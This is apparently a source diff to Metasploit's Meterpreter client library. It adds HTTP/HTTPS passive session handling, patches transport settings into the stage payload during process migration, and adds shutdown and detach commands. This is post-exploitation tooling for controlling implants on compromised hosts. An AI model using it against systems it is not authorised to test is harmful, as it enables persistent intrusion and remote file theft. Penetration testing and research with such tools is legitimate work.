+ # # Mutex to synchronize class-wide operations # @@ -95,32 +95,51 @@ class Client # Initializes the meterpreter client instance # def init_meterpreter(sock,opts={}) - self.sock = sock - self.parser = PacketParser.new - self.ext = ObjectAliases.new - self.ext_aliases = ObjectAliases.new - self.alive = true - self.target_id = opts[:target_id] - self.capabilities= opts[:capabilities] || {} + self.sock = sock + self.parser = PacketParser.new + self.ext = ObjectAliases.new + self.ext_aliases = ObjectAliases.new + self.alive = true + self.target_id = opts[:target_id] + self.capabilities = opts[:capabilities] || {} - self.response_timeout = opts[:timeout] || self.class.default_timeout + + self.conn_id = opts[:conn_id] + self.url = opts[:url] + self.ssl = opts[:ssl] + self.expiration = opts[:expiration] + self.comm_timeout = opts[:comm_timeout] + self.passive_dispatcher = opts[:passive_dispatcher] + + self.response_timeout = opts[:timeout] || self.class.default_timeout self.send_keepalives = true + if opts[:passive_dispatcher] + initialize_passive_dispatcher - # Switch the socket to SSL mode and receive the hello if needed - if capabilities[:ssl] and not opts[:skip_ssl] - swap_sock_plain_to_ssl() + register_extension_alias('core', ClientCore.new(self)) + + initialize_inbound_handlers + initialize_channels + + # Register the channel inbound packet handler + register_inbound_handler(Rex::Post::Meterpreter::Channel) + else + # Switch the socket to SSL mode and receive the hello if needed + if capabilities[:ssl] and not opts[:skip_ssl] + swap_sock_plain_to_ssl() + end + + register_extension_alias('core', ClientCore.new(self)) + + initialize_inbound_handlers + initialize_channels + + # Register the channel inbound packet handler + register_inbound_handler(Rex::Post::Meterpreter::Channel) + + monitor_socket end - - register_extension_alias('core', ClientCore.new(self)) - - initialize_inbound_handlers - initialize_channels - - # Register the channel inbound packet handler - register_inbound_handler(Rex::Post::Meterpreter::Channel) - - monitor_socket end def swap_sock_plain_to_ssl @@ -138,22 +157,22 @@ class Client rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK IO::select(nil, nil, nil, 0.10) retry - - # Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable + + # Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable rescue ::Exception => e if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable) IO::select( [ ssl ], nil, nil, 0.10 ) retry end - - if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable) + + if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable) IO::select( nil, [ ssl ], nil, 0.10 ) retry end - + raise e end - end + end self.sock.extend(Rex::Socket::SslTcp) self.sock.sslsock = ssl @@ -175,11 +194,11 @@ class Client end def generate_ssl_context - @@ssl_mutex.synchronize do + @@ssl_mutex.synchronize do if not @@ssl_ctx - + wlog("Generating SSL certificate for Meterpreter sessions") - + key = OpenSSL::PKey::RSA.new(1024){ } cert = OpenSSL::X509::Certificate.new cert.version = 2 @@ -223,12 +242,12 @@ class Client ctx.session_id_context = Rex::Text.rand_text(16) wlog("Generated SSL certificate for Meterpreter sessions") - + @@ssl_ctx = ctx - + end # End of if not @ssl_ctx end # End of mutex.synchronize - + @@ssl_ctx end @@ -379,6 +398,30 @@ class Client # The libraries available to this meterpreter server # attr_accessor :capabilities + # + # The Connection ID + # + attr_accessor :conn_id + # + # The Connect URL + # + attr_accessor :url + # + # Use SSL (HTTPS) + # + attr_accessor :ssl + # + # The Session Expiration Timeout + # + attr_accessor :expiration + # + # The Communication Timeout + # + attr_accessor :comm_timeout + # + # The Passive Dispatcher + # + attr_accessor :passive_dispatcher protected attr_accessor :parser, :ext_aliases # :nodoc: diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index af659a2b89..d7beb296a3 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -184,7 +184,7 @@ class ClientCore < Extension # We cant migrate into a process that does not exist. if( process == nil ) - raise RuntimeError, "Cannot migrate into non existant process", caller + raise RuntimeError, "Cannot migrate into non existent process", caller end # We cant migrate into a process that we are unable to open @@ -216,13 +216,42 @@ class ClientCore < Extension migrate_stager = c.new() migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" ) - payload = migrate_stager.stage_payload + blob = migrate_stager.stage_payload + + if client.passive_service + + # Replace the transport string first (TRANSPORT_SOCKET_SSL + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = client.ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + blob[i, str.length] = str + end + + conn_id = self.client.conn_id + i = blob.index("https://" + ("X" * 256)) + if i + str = self.client.url + blob[i, str.length] = str + end + + i = blob.index([0xb64be661].pack("V")) + if i + str = [ self.client.expiration ].pack("V") + blob[i, str.length] = str + end + + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ self.client.comm_timeout ].pack("V") + blob[i, str.length] = str + end + end # Build the migration request request = Packet.create_request( 'core_migrate' ) request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) - request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length ) - request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib]) + request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) + request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) if( process['arch'] == ARCH_X86_64 ) request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else @@ -232,19 +261,28 @@ class ClientCore < Extension # Send the migration request (bump up the timeout to 60 seconds) response = client.send_request( request, 60 ) - # Disable the socket request monitor - client.monitor_stop + if client.passive_service + # Sleep for 5 seconds to allow the full handoff, this prevents + # the original process from stealing our loadlib requests + ::IO.select(nil, nil, nil, 5.0) + else + # Prevent new commands from being sent while we finish migrating + client.comm_mutex.synchronize do + # Disable the socket request monitor + client.monitor_stop - ### - # Now communicating with the new process - ### + ### + # Now communicating with the new process + ### - # Renegotiate SSL over this socket - client.swap_sock_ssl_to_plain() - client.swap_sock_plain_to_ssl() + # Renegotiate SSL over this socket + client.swap_sock_ssl_to_plain() + client.swap_sock_plain_to_ssl() - # Restart the socket monitor - client.monitor_socket + # Restart the socket monitor + client.monitor_socket + end + end # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of. @@ -268,6 +306,15 @@ class ClientCore < Extension return true end + # + # Shuts the session down + # + def shutdown + request = Packet.create_request('core_shutdown') + response = self.client.send_packet_wait_response(request, 15) + true + end + end end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index d9dab8c1b6..2e5871988c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -27,27 +27,27 @@ SEPARATOR = "\\" Separator = "\\" include Rex::Post::File - + class << self attr_accessor :client end - + # # Search for files. # def File.search( root=nil, glob="*.*", recurse=true, timeout=-1 ) - + files = ::Array.new - + request = Packet.create_request( 'stdapi_fs_search' ) root = root.chomp( '\\' ) if root - + request.add_tlv( TLV_TYPE_SEARCH_ROOT, root ) request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob ) request.add_tlv( TLV_TYPE_SEARCH_RECURSE, recurse ) - # we set the response timeout to -1 to wait indefinatly as a + # we set the response timeout to -1 to wait indefinatly as a # search could take an indeterminate ammount of time to complete. response = client.send_request( request, timeout ) if( response.result == 0 ) @@ -59,10 +59,10 @@ Separator = "\\" } end end - + return files end - + # # Returns the base name of the supplied file path to the caller. # @@ -86,7 +86,7 @@ Separator = "\\" request.add_tlv(TLV_TYPE_FILE_PATH, path) response = client.send_request(request) - + return response.get_tlv_value(TLV_TYPE_FILE_PATH) end @@ -104,27 +104,27 @@ Separator = "\\" r = client.fs.filestat.new(name) rescue nil r ? true : false end - + # # Performs a delete on the specified file. # - def File.rm(name) + def File.rm(name) request = Packet.create_request('stdapi_fs_delete_file') request.add_tlv(TLV_TYPE_FILE_PATH,name) response = client.send_request(request) - + return response end - + # # Performs a delete on the specified file. # def File.unlink(name) return File.rm(name) - end - + end + # # Upload one or more files to the remote computer the remote # directory supplied in destination. @@ -151,7 +151,7 @@ Separator = "\\" # all of the contents of the local file dest_fd = client.fs.file.new(dest_file, "wb") src_buf = '' - + ::File.open(src_file, 'rb') { |f| src_buf = f.read(f.stat.size) } @@ -164,7 +164,7 @@ Separator = "\\" end # - # Download one or more files from the remote computer to the local + # Download one or more files from the remote computer to the local # directory supplied in destination. # def File.download(destination, *src_files, &stat) @@ -178,7 +178,7 @@ Separator = "\\" end download_file(dest, src) - + stat.call('downloaded', src, dest) if (stat) } end @@ -272,3 +272,4 @@ protected end end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index ca747c1e6b..198baa5170 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -29,9 +29,9 @@ class RequestError < ArgumentError # The error result that occurred, typically a windows error message. attr_reader :result - + # The error result that occurred, typically a windows error code. - attr_reader :code + attr_reader :code end ### @@ -44,6 +44,84 @@ module PacketDispatcher PacketTimeout = 600 + ## + # + # Synchronization + # + ## + attr_accessor :comm_mutex + + + ## + # + # + # Passive Dispatching + # + ## + attr_accessor :passive_service, :send_queue, :recv_queue + + def initialize_passive_dispatcher + self.send_queue = [] + self.recv_queue = [] + self.waiters = [] + self.alive = true + + self.passive_service = self.passive_dispatcher + self.passive_service.remove_resource("/" + self.conn_id + "/") + self.passive_service.add_resource("/" + self.conn_id + "/", + 'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) }, + 'VirtualDirectory' => true + ) + end + + def shutdown_passive_dispatcher + return if not self.passive_service + self.passive_service.remove_resource("/" + self.conn_id + "/") + + self.alive = false + self.send_queue = [] + self.recv_queue = [] + self.waiters = [] + + self.passive_service = nil + end + + def on_passive_request(cli, req) + + begin + + resp = Rex::Proto::Http::Response.new(200, "OK") + resp['Content-Type'] = 'application/octet-stream' + resp['Connection'] = 'close' + + # If the first 4 bytes are "RECV", return the oldest packet from the outbound queue + if req.body[0,4] == "RECV" + rpkt = send_queue.pop + resp.body = rpkt || '' + begin + cli.send_response(resp) + rescue ::Exception => e + send_queue.unshift(rpkt) if rpkt + elog("Exception sending a reply to the reader request: #{cli.inspect} #{e.class} #{e} #{e.backtrace}") + end + else + resp.body = "" + if req.body and req.body.length > 0 + packet = Packet.new(0) + packet.from_r(req.body) + dispatch_inbound_packet(packet) + end + cli.send_response(resp) + end + + # Force a closure for older WinInet implementations + self.passive_service.close_client( cli ) + + rescue ::Exception => e + elog("Exception handling request: #{cli.inspect} #{req.inspect} #{e.class} #{e} #{e.backtrace}") + end + end + ## # # Transmission @@ -62,23 +140,34 @@ module PacketDispatcher raw = packet.to_r err = nil + # Short-circuit send when using a passive dispatcher + if self.passive_service + send_queue.push(raw) + return raw.size # Lie! + end + if (raw) - - begin - bytes = self.sock.write(raw) - rescue ::Exception => e - err = e + + # This mutex is used to lock out new commands during an + # active migration. + + self.comm_mutex.synchronize do + begin + bytes = self.sock.write(raw) + rescue ::Exception => e + err = e + end end - + if bytes.to_i == 0 # Mark the session itself as dead self.alive = false - + # Indicate that the dispatcher should shut down too @finish = true - + # Reraise the error to the top-level caller - raise err if err + raise err if err end end @@ -89,12 +178,12 @@ module PacketDispatcher # Sends a packet and waits for a timeout for the given time interval. # def send_request(packet, t = self.response_timeout) - + if not t send_packet(packet) return nil end - + response = send_packet_wait_response(packet, t) if (response == nil) @@ -146,6 +235,12 @@ module PacketDispatcher # thread context and parsers all inbound packets. # def monitor_socket + + # Skip if we are using a passive dispatcher + return if self.passive_service + + self.comm_mutex = ::Mutex.new + self.waiters = [] @pqueue = [] @@ -303,6 +398,7 @@ module PacketDispatcher self.receiver_thread.kill self.receiver_thread = nil end + if(self.dispatcher_thread) self.dispatcher_thread.kill self.dispatcher_thread = nil @@ -385,7 +481,6 @@ module PacketDispatcher end end - # Enumerate all of the inbound packet handlers until one handles # the packet @inbound_handlers.each { |handler| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 74cc5766fb..e8233f248e 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -43,6 +43,7 @@ class Console::CommandDispatcher::Core "close" => "Closes a channel", "channel" => "Displays information about active channels", "exit" => "Terminate the meterpreter session", + "detach" => "Detach the meterpreter session (for http/https)", "help" => "Help menu", "interact" => "Interacts with a channel", "irb" => "Drop into irb scripting mode", @@ -204,11 +205,26 @@ class Console::CommandDispatcher::Core # Terminates the meterpreter session. # def cmd_exit(*args) + print_status("Shutting down Meterpreter...") + client.core.shutdown rescue nil + client.shutdown_passive_dispatcher shell.stop end alias cmd_quit cmd_exit + # + # Disconnects the session + # + def cmd_detach(*args) + if not client.passive_service + print_error("Detach is only possible for non-stream sessions (http/https)") + return + end + client.shutdown_passive_dispatcher + shell.stop + end + # # Interacts with a channel. # @@ -385,11 +401,11 @@ class Console::CommandDispatcher::Core def cmd_run_help print_line "Usage: run